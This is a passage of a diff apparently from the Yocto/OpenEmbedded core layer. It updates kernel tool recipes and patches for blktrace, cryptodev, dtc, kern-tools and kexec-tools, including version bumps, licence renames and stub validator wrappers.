-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) -lm $(LDFLAGS) -lrt
-
- depend:
- @$(CC) -MM $(ALL_CFLAGS) *.c 1> .depend
diff --git a/meta/recipes-kernel/blktrace/blktrace_git.bb b/meta/recipes-kernel/blktrace/blktrace_git.bb
index 2605ff9167..bba5e04504 100644
--- a/meta/recipes-kernel/blktrace/blktrace_git.bb
+++ b/meta/recipes-kernel/blktrace/blktrace_git.bb
@@ -1,18 +1,20 @@
SUMMARY = "Generates traces of I/O traffic on block devices"
+DESCRIPTION = "blktrace is a block layer IO tracing mechanism which provides \
+detailed information about request queue operations up to user space. There \
+are three major components: a kernel component, a utility to record the i/o \
+trace information for the kernel to user space, and utilities to analyse and \
+view the trace information."
HOMEPAGE = "http://brick.kernel.dk/snaps/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=393a5ca445f6965873eca0259a17f833"
DEPENDS = "libaio"
-SRCREV = "cca113f2fe0759b91fd6a0e10fdcda2c28f18a7e"
+SRCREV = "366d30b9cdb20345c5d064af850d686da79b89eb"
-PV = "1.2.0+git${SRCPV}"
+PV = "1.3.0+git${SRCPV}"
-SRC_URI = "git://git.kernel.dk/blktrace.git \
- file://ldflags.patch \
- file://CVE-2018-10689.patch \
-"
+SRC_URI = "git://git.kernel.dk/blktrace.git;branch=master"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb
deleted file mode 100644
index c55577c661..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A /dev/crypto device driver header file"
-
-do_compile[noexec] = "1"
-
-# Just install cryptodev.h which is the only header file needed to be exported
-do_install() {
- install -D ${S}/crypto/cryptodev.h ${D}${includedir}/crypto/cryptodev.h
-}
-
-ALLOW_EMPTY_${PN} = "1"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb
new file mode 100644
index 0000000000..d5ea9d8529
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb
@@ -0,0 +1,13 @@
+require cryptodev.inc
+
+SUMMARY = "A /dev/crypto device driver header file"
+
+do_compile[noexec] = "1"
+
+# Just install cryptodev.h which is the only header file needed to be exported
+do_install() {
+ install -D ${S}/crypto/cryptodev.h ${D}${includedir}/crypto/cryptodev.h
+}
+
+ALLOW_EMPTY:${PN} = "1"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb b/meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb
deleted file mode 100644
index 552eb6abaa..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A /dev/crypto device driver kernel module"
-
-inherit module
-
-# Header file provided by a separate package
-DEPENDS += "cryptodev-linux"
-
-SRC_URI += " \
-file://0001-Disable-installing-header-file-provided-by-another-p.patch \
-"
-
-EXTRA_OEMAKE='KERNEL_DIR="${STAGING_KERNEL_DIR}" PREFIX="${D}"'
-
-RCONFLICTS_${PN} = "ocf-linux"
-RREPLACES_${PN} = "ocf-linux"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb b/meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb
new file mode 100644
index 0000000000..5192cf03ed
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb
@@ -0,0 +1,16 @@
+require cryptodev.inc
+
+SUMMARY = "A /dev/crypto device driver kernel module"
+
+inherit module
+
+# Header file provided by a separate package
+DEPENDS += "cryptodev-linux"
+
+SRC_URI += "file://0001-Disable-installing-header-file-provided-by-another-p.patch \
+ "
+
+EXTRA_OEMAKE='KERNEL_DIR="${STAGING_KERNEL_DIR}" PREFIX="${D}"'
+
+RCONFLICTS:${PN} = "ocf-linux"
+RREPLACES:${PN} = "ocf-linux"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb
deleted file mode 100644
index 9cb5dcb94f..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A test suite for /dev/crypto device driver"
-
-DEPENDS += "openssl"
-
-SRC_URI += " \
-file://0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch \
-"
-
-EXTRA_OEMAKE='KERNEL_DIR="${STAGING_EXECPREFIXDIR}" PREFIX="${D}"'
-
-do_compile() {
- oe_runmake testprogs
-}
-
-do_install() {
- oe_runmake install_tests
-}
-
-FILES_${PN} = "${bindir}/*"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb
new file mode 100644
index 0000000000..c541478796
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb
@@ -0,0 +1,22 @@
+require cryptodev.inc
+
+SUMMARY = "A test suite for /dev/crypto device driver"
+
+DEPENDS += "openssl"
+
+SRC_URI += " \
+file://0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch \
+file://0001-tests-Makefile-do-not-use-Werror.patch \
+"
+
+EXTRA_OEMAKE='KERNEL_DIR="${STAGING_EXECPREFIXDIR}" PREFIX="${D}"'
+
+do_compile() {
+ oe_runmake testprogs
+}
+
+do_install() {
+ oe_runmake install_tests
+}
+
+FILES:${PN} = "${bindir}/*"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev.inc b/meta/recipes-kernel/cryptodev/cryptodev.inc
index 9d8ba44058..ef342a157c 100644
--- a/meta/recipes-kernel/cryptodev/cryptodev.inc
+++ b/meta/recipes-kernel/cryptodev/cryptodev.inc
@@ -1,12 +1,16 @@
HOMEPAGE = "http://cryptodev-linux.org/"
+DESCRIPTION = "Cryptodev-linux is a device that allows access to Linux kernel \
+cryptographic drivers; thus allowing of userspace applications to take advantage \
+of hardware accelerators. Cryptodev-linux is implemented as a standalone \
+module that requires no dependencies other than a stock linux kernel. Its \
+API is compatible with OpenBSD's cryptodev userspace API (/dev/crypto)."
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRC_URI = "git://github.com/cryptodev-linux/cryptodev-linux \
- file://0001-Fix-module-loading-with-Linux-v5.0-rc5.patch \
+SRC_URI = "git://github.com/cryptodev-linux/cryptodev-linux;branch=master;protocol=https \
"
-SRCREV = "fd8b15ef1c8398a69a37932ee48c74ab40329a29"
+SRCREV = "e0c25e289d6baf1d83c2b9cb523d3bc237d0c0c9"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/cryptodev/files/0001-Fix-module-loading-with-Linux-v5.0-rc5.patch b/meta/recipes-kernel/cryptodev/files/0001-Fix-module-loading-with-Linux-v5.0-rc5.patch
deleted file mode 100644
index 34ec87272f..0000000000
--- a/meta/recipes-kernel/cryptodev/files/0001-Fix-module-loading-with-Linux-v5.0-rc5.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-Upstream-Status: Backport [https://github.com/cryptodev-linux/cryptodev-linux/commit/f971e0c]
-
-Backport patch from upstream to fix module cryptodev loading error.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From f971e0cd4a0ebe59fb2e8e17240399bf6901b09b Mon Sep 17 00:00:00 2001
-From: "Derald D. Woods" <woods.technical@gmail.com>
-Date: Sun, 10 Feb 2019 13:22:19 -0600
-Subject: [PATCH] Fix module loading with Linux v5.0-rc5
-
-This commit fixes this module load error:
-[...]
-[ 29.112091] cryptodev: loading out-of-tree module taints kernel.
-[ 29.128906] cryptodev: Unknown symbol crypto_givcipher_type (err -2)
-[ 29.188842] cryptodev: Unknown symbol crypto_givcipher_type (err -2)
-modprobe: can't load module cryptodev (extra/cryptodev.ko): unknown symbol in module, or unknown parameter
-[...]
-
-Upstream Linux support for unused GIVCIPHER, and others, was dropped here:
-
-c79b411eaa72 (crypto: skcipher - remove remnants of internal IV generators)
-
-Signed-off-by: Derald D. Woods <woods.technical@gmail.com>
----
- cryptlib.c | 9 +++++++--
- 1 file changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/cryptlib.c b/cryptlib.c
-index 6e66698..4a87037 100644
---- a/cryptlib.c
-+++ b/cryptlib.c
-@@ -38,7 +38,9 @@
- #include "cryptodev_int.h"
- #include "cipherapi.h"
-
-+#if (LINUX_VERSION_CODE < KERNEL_VERSION(5, 0, 0))
- extern const struct crypto_type crypto_givcipher_type;
-+#endif
-
- static void cryptodev_complete(struct crypto_async_request *req, int err)
- {
-@@ -157,8 +159,11 @@ int cryptodev_cipher_init(struct cipher_data *out, const char *alg_name,
-
- #if (LINUX_VERSION_CODE >= KERNEL_VERSION(4, 8, 0))
- tfm = crypto_skcipher_tfm(out->async.s);
-- if ((tfm->__crt_alg->cra_type == &crypto_ablkcipher_type) ||
-- (tfm->__crt_alg->cra_type == &crypto_givcipher_type)) {
-+ if ((tfm->__crt_alg->cra_type == &crypto_ablkcipher_type)
-+#if (LINUX_VERSION_CODE < KERNEL_VERSION(5, 0, 0))
-+ || (tfm->__crt_alg->cra_type == &crypto_givcipher_type)
-+#endif
-+ ) {
- struct ablkcipher_alg *alg;
-
- alg = &tfm->__crt_alg->cra_ablkcipher;
---
-2.20.0
-
diff --git a/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch b/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch
new file mode 100644
index 0000000000..347a4aef0f
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch
@@ -0,0 +1,24 @@
+From e2c2895d52761ddc6384a31364236dd13f677c34 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 10 Sep 2021 10:44:42 +0200
+Subject: [PATCH] tests/Makefile: do not use -Werror
+
+Otherwise, openssl 3 deprecation warnings become errors.
+Reported at https://github.com/cryptodev-linux/cryptodev-linux/issues/67
+
+Upstream-Status: Inappropriate [upstream needs to update the code]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ tests/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/Makefile b/tests/Makefile
+index 2fb7a9a..e94f80e 100644
+--- a/tests/Makefile
++++ b/tests/Makefile
+@@ -1,4 +1,4 @@
+-CFLAGS += -I.. $(CRYPTODEV_CFLAGS) -Wall -Werror
++CFLAGS += -I.. $(CRYPTODEV_CFLAGS) -Wall
+
+ comp_progs := cipher_comp hash_comp hmac_comp
+
diff --git a/meta/recipes-kernel/dtc/dtc.inc b/meta/recipes-kernel/dtc/dtc.inc
deleted file mode 100644
index 0650e3c82e..0000000000
--- a/meta/recipes-kernel/dtc/dtc.inc
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Device Tree Compiler"
-HOMEPAGE = "https://devicetree.org/"
-DESCRIPTION = "The Device Tree Compiler is a tool used to manipulate the Open-Firmware-like device tree used by PowerPC kernels."
-SECTION = "bootloader"
-LICENSE = "GPLv2 | BSD"
-DEPENDS = "flex-native bison-native"
-
-SRC_URI = "git://git.kernel.org/pub/scm/utils/dtc/dtc.git \
- file://make_install.patch \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
-
-EXTRA_OEMAKE='NO_PYTHON=1 PREFIX="${prefix}" LIBDIR="${libdir}" DESTDIR="${D}"'
-
-inherit pkgconfig
-
-S = "${WORKDIR}/git"
-
-do_install () {
- oe_runmake install
-}
-
-PACKAGES =+ "${PN}-misc"
-FILES_${PN}-misc = "${bindir}/convert-dtsv0 ${bindir}/ftdump ${bindir}/dtdiff"
-
-RDEPENDS_${PN}-misc += "bash diffutils"
diff --git a/meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch b/meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch
new file mode 100644
index 0000000000..4c3e34b1ff
--- /dev/null
+++ b/meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch
@@ -0,0 +1,40 @@
+Fix the build of fdtdump with mingw.
+
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From ae0ce1fa7f4d679b5f8df1fc0e797246e43547fe Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Marc-Andr=C3=A9=20Lureau?= <marcandre.lureau@redhat.com>
+Date: Wed, 25 Aug 2021 16:13:50 +0400
+Subject: [PATCH] fdtdump: fix -Werror=int-to-pointer-cast
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+With mingw64-gcc, the compiler complains with various warnings:
+error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast]
+
+Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>
+Message-Id: <20210825121350.213551-1-marcandre.lureau@redhat.com>
+Acked-by: Rob Herring <robh@kernel.org>
+Signed-off-by: David Gibson <david@gibson.dropbear.id.au>
+---
+ fdtdump.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/fdtdump.c b/fdtdump.c
+index d9fb374..483f367 100644
+--- a/fdtdump.c
++++ b/fdtdump.c
+@@ -21,7 +21,7 @@
+ #define MAX_VERSION 17
+
+ #define ALIGN(x, a) (((x) + ((a) - 1)) & ~((a) - 1))
+-#define PALIGN(p, a) ((void *)(ALIGN((unsigned long)(p), (a))))
++#define PALIGN(p, a) ((void *)(ALIGN((uintptr_t)(p), (a))))
+ #define GET_CELL(p) (p += 4, *((const fdt32_t *)(p-4)))
+
+ static const char *tagname(uint32_t tag)
+--
+2.25.1
+
diff --git a/meta/recipes-kernel/dtc/dtc/make_install.patch b/meta/recipes-kernel/dtc/dtc/make_install.patch
deleted file mode 100644
index ea9359e815..0000000000
--- a/meta/recipes-kernel/dtc/dtc/make_install.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From e9852b9d206df1e42aa4c8afec55a0f5e099b533 Mon Sep 17 00:00:00 2001
-From: Saul Wold <sgw@linux.intel.com>
-Date: Thu, 3 Nov 2011 08:35:47 -0700
-Subject: [PATCH] dtc: Add patch to correctly install shared libraries and
-
-Upstream-Status: Inappropriate [configuration]
-
----
- Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index d8ebc4f..f5e01be 100644
---- a/Makefile
-+++ b/Makefile
-@@ -205,8 +205,8 @@ install-bin: all $(SCRIPTS)
- install-lib: all
- @$(VECHO) INSTALL-LIB
- $(INSTALL) -d $(DESTDIR)$(LIBDIR)
-- $(INSTALL_LIB) $(LIBFDT_lib) $(DESTDIR)$(LIBDIR)
-- ln -sf $(notdir $(LIBFDT_lib)) $(DESTDIR)$(LIBDIR)/$(LIBFDT_soname)
-+ $(INSTALL) $(LIBFDT_lib) $(DESTDIR)$(LIBDIR)/$(LIBFDT_soname)
-+ ln -sf $(LIBFDT_soname) $(DESTDIR)$(LIBDIR)/$(notdir $(LIBFDT_lib))
- ln -sf $(LIBFDT_soname) $(DESTDIR)$(LIBDIR)/libfdt.$(SHAREDLIB_EXT)
- $(INSTALL_DATA) $(LIBFDT_archive) $(DESTDIR)$(LIBDIR)
-
diff --git a/meta/recipes-kernel/dtc/dtc_1.5.1.bb b/meta/recipes-kernel/dtc/dtc_1.5.1.bb
deleted file mode 100644
index 9df8a06d47..0000000000
--- a/meta/recipes-kernel/dtc/dtc_1.5.1.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require dtc.inc
-
-LIC_FILES_CHKSUM = "file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://libfdt/libfdt.h;beginline=4;endline=7;md5=05bb357cfb75cae7d2b01d2ee8d76407"
-
-SRCREV = "60e0db3d65a1218b0d5a29474e769f28a18e3ca6"
-
-S = "${WORKDIR}/git"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/dtc/dtc_1.6.1.bb b/meta/recipes-kernel/dtc/dtc_1.6.1.bb
new file mode 100644
index 0000000000..2a6ac089a3
--- /dev/null
+++ b/meta/recipes-kernel/dtc/dtc_1.6.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Device Tree Compiler"
+HOMEPAGE = "https://devicetree.org/"
+DESCRIPTION = "The Device Tree Compiler is a tool used to manipulate the Open-Firmware-like device tree used by PowerPC kernels."
+SECTION = "bootloader"
+LICENSE = "GPL-2.0-only | BSD-2-Clause"
+
+LIC_FILES_CHKSUM = "file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://libfdt/libfdt.h;beginline=4;endline=7;md5=05bb357cfb75cae7d2b01d2ee8d76407"
+
+SRC_URI = "git://git.kernel.org/pub/scm/utils/dtc/dtc.git;branch=master \
+ file://0001-fdtdump-fix-Werror-int-to-pointer-cast.patch"
+SRCREV = "b6910bec11614980a21e46fbccc35934b671bd81"
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig
+
+EXTRA_OEMESON = "-Dpython=disabled -Dvalgrind=disabled"
+
+PACKAGECONFIG ??= "tools"
+PACKAGECONFIG[tools] = "-Dtools=true,-Dtools=false,flex-native bison-native"
+PACKAGECONFIG[yaml] = "-Dyaml=enabled,-Dyaml=disabled,libyaml"
+
+PACKAGES =+ "${PN}-misc"
+FILES:${PN}-misc = "${bindir}/convert-dtsv0 ${bindir}/ftdump ${bindir}/dtdiff"
+RDEPENDS:${PN}-misc += "${@bb.utils.contains('PACKAGECONFIG', 'tools', 'bash diffutils', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate
new file mode 100644
index 0000000000..2aa57851c7
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-doc-validate wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-doc-validate.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema
new file mode 100644
index 0000000000..24b89d8619
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-mk-schema wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-mk-schema.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate
new file mode 100644
index 0000000000..8a4710a7ed
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate
@@ -0,0 +1,20 @@
+#!/bin/sh
+# dt-validate wrapper to allow kernel dt-validation to pass
+#
+# Copyright (C) 2021 Bruce Ashfield <bruce.ashfield@gmail.com>
+# License: MIT (see COPYING.MIT at the root of the repository for terms)
+
+for arg; do
+ case "$arg" in
+ --version)
+ echo "v2021.10"
+ ;;
+ esac
+done
+
+# TBD: left for future consideration
+# exec dt-validate.real "$@"
+
+# we always succeed
+exit 0
+
diff --git a/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb b/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb
new file mode 100644
index 0000000000..c869274d09
--- /dev/null
+++ b/meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb
@@ -0,0 +1,17 @@
+DESCRIPTION = "Wrapper for tooling for devicetree validation using YAML and jsonschema"
+HOMEPAGE = "https://yoctoproject.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+SRC_URI = "file://dt-doc-validate \
+ file://dt-mk-schema \
+ file://dt-validate"
+
+do_install() {
+ install -d ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-doc-validate ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-mk-schema ${D}${bindir}/
+ install -m 755 ${WORKDIR}/dt-validate ${D}${bindir}/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb b/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
index 8ca7193c8c..0dcf1281f0 100644
--- a/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
+++ b/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb
@@ -1,24 +1,29 @@
SUMMARY = "Tools for managing Yocto Project style branched kernels"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://git/tools/kgit;beginline=5;endline=9;md5=9c30e971d435e249624278c3e343e501"
+DESCRIPTION = "Powerful set of tools or managing Yocto Linux kernel sources \
+and configuration data. You can use these tools to make a single configuration \
+change, apply multiple patches, or work with your own kernel sources."
+HOMEPAGE = "https://www.yoctoproject.org/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://tools/kgit;beginline=5;endline=9;md5=9c30e971d435e249624278c3e343e501"
DEPENDS = "git-native"
-SRCREV = "bb6df0ef2365689cd3df6f76a8838cddae0d9343"
-PR = "r12"
-PV = "0.2+git${SRCPV}"
+SRCREV = "90598a5fae1172e3f7782a1b02f7b7518efd32c8"
+PV = "0.3+git${SRCPV}"
inherit native
-SRC_URI = "git://git.yoctoproject.org/yocto-kernel-tools.git"
-S = "${WORKDIR}"
-UPSTREAM_CHECK_COMMITS = "1"
+SRC_URI = "git://git.yoctoproject.org/yocto-kernel-tools.git;branch=master"
+S = "${WORKDIR}/git"
+
+do_configure() {
+ :
+}
do_compile() {
:
}
do_install() {
- cd ${S}/git
- make DESTDIR=${D}${bindir} install
+ oe_runmake DESTDIR=${D}${bindir} install
}
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch b/meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch
new file mode 100644
index 0000000000..c2301e711d
--- /dev/null
+++ b/meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch
@@ -0,0 +1,67 @@
+From d48ec5e1a5fb7907520dee71b1d94045486a0c29 Mon Sep 17 00:00:00 2001
+From: Alexander Kamensky <alexander.kamensky42@gmail.com>
+Date: Thu, 12 Nov 2020 12:56:46 -0800
+Subject: [PATCH] arm64: kexec: disabled check if kaslr-seed dtb property was
+ wiped
+
+Kexec when loading arm64 kernel checks if chosen/kaslr-seed dtb property is
+wiped. It's a good assertion to verify proper behavior of kernel. However,
+if bootloader creates and fills kaslr-seed property and kernel is not
+configured with CONFIG_RANDOMIZE_BASE then logic of reading and wiping
+kaslr-seed does not run. As a result kaslr-seed property is not zero and when
+kexec tries to load secondary kernel it fails with the following message:
+
+setup_2nd_dtb: kaslr-seed is not wiped to 0.
+kexec: setup_2nd_dtb failed.
+kexec: load failed.
+
+This was observed on Yocto Project on qemuarm64 machine with 5.8 kernel,
+qemu 5.1.0. Qemu created kaslr-seed property but kernel was not configured
+with CONFIG_RANDOMIZE_BASE.
+
+Although check has some value, there is a use-case where it breaks kexec,
+this patch removes it.
+
+Note in described use-case the fact that kaslr-seed is not wiped and user
+readable through /sys/firmware/fdt or
+/sys/firmware/devicetree/base/chosen/kaslr-seed is not a security problem
+as kaslr is disabled anyway.
+
+Signed-off-by: Alexander Kamensky <alexander.kamensky42@gmail.com>
+Upstream-Status: Submitted [http://lists.infradead.org/pipermail/kexec/2020-November/021740.html]
+---
+ kexec/arch/arm64/kexec-arm64.c | 14 +-------------
+ 1 file changed, 1 insertion(+), 13 deletions(-)
+
+Index: kexec-tools-2.0.20/kexec/arch/arm64/kexec-arm64.c
+===================================================================
+--- kexec-tools-2.0.20.orig/kexec/arch/arm64/kexec-arm64.c
++++ kexec-tools-2.0.20/kexec/arch/arm64/kexec-arm64.c
+@@ -428,7 +428,7 @@ static int setup_2nd_dtb(struct dtb *dtb
+ int len, range_len;
+ int nodeoffset;
+ int new_size;
+- int result, kaslr_seed;
++ int result;
+
+ result = fdt_check_header(dtb->buf);
+
+@@ -499,18 +499,6 @@ static int setup_2nd_dtb(struct dtb *dtb
+ return result;
+ }
+ } else {
+- kaslr_seed = fdt64_to_cpu(*prop);
+-
+- /* kaslr_seed must be wiped clean by primary
+- * kernel during boot
+- */
+- if (kaslr_seed != 0) {
+- dbgprintf("%s: kaslr-seed is not wiped to 0.\n",
+- __func__);
+- result = -EINVAL;
+- goto on_error;
+- }
+-
+ /*
+ * Invoke the getrandom system call with
+ * GRND_NONBLOCK, to make sure we
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch b/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch
deleted file mode 100644
index a809d5ba8e..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch
+++ /dev/null
@@ -1,93 +0,0 @@
-From 8c9a5076543eb3d497e016b3d7707e93d6311883 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Mon, 15 Jul 2013 23:32:36 -0700
-Subject: [PATCH] x86_64: Add support to build kexec-tools with x32 ABI
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Summary of changes,
-
-configure.ac: Add test for detect x32 ABI.
-purgatory/arch/x86_64/Makefile: Not use mcmodel large when
- x32 ABI is set.
-kexec/arch/x86_64/kexec-elf-rel-x86_64.c: When x32 ABI is set
- use ELFCLASS32 instead of ELFCLASS64.
-kexec/kexec-syscall.h: Add correct syscall number for x32 ABI.
-
-Upstream-Status: Submitted
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-Signed-off-by: Mariano Lopez <mariano.lopez@linux.intel.com>
----
- configure.ac | 9 +++++++++
- kexec/arch/x86_64/kexec-elf-rel-x86_64.c | 4 ++++
- kexec/kexec-syscall.h | 4 ++++
- purgatory/arch/x86_64/Makefile | 4 +++-
- 4 files changed, 20 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index c2b0c68..60882b8 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -54,6 +54,15 @@ case $target_cpu in
- ;;
- ia64|x86_64|alpha|m68k )
- ARCH="$target_cpu"
-+
-+ dnl ---Test for x32 ABI in x86_64
-+ if test "x$ARCH" = "xx86_64" ; then
-+ AC_EGREP_CPP(x32_test,
-+ [#if defined(__x86_64__) && defined (__ILP32__)
-+ x32_test
-+ #endif
-+ ], SUBARCH='x32', SUBARCH='64')
-+ fi
- ;;
- * )
- AC_MSG_ERROR([unsupported architecture $target_cpu])
-diff --git a/kexec/arch/x86_64/kexec-elf-rel-x86_64.c b/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-index db85b44..0ce1172 100644
---- a/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-+++ b/kexec/arch/x86_64/kexec-elf-rel-x86_64.c
-@@ -8,7 +8,11 @@ int machine_verify_elf_rel(struct mem_ehdr *ehdr)
- if (ehdr->ei_data != ELFDATA2LSB) {
- return 0;
- }
-+#ifdef __ILP32__
-+ if (ehdr->ei_class != ELFCLASS32) {
-+#else
- if (ehdr->ei_class != ELFCLASS64) {
-+#endif
- return 0;
- }
- if (ehdr->e_machine != EM_X86_64) {
-diff --git a/kexec/kexec-syscall.h b/kexec/kexec-syscall.h
-index dac1c1f..e9479b7 100644
---- a/kexec/kexec-syscall.h
-+++ b/kexec/kexec-syscall.h
-@@ -31,8 +31,12 @@
- #define __NR_kexec_load 268
- #endif
- #ifdef __x86_64__
-+#ifdef __ILP32__
-+#define __NR_kexec_load 528
-+#else
- #define __NR_kexec_load 246
- #endif
-+#endif
- #ifdef __s390x__
- #define __NR_kexec_load 277
- #endif
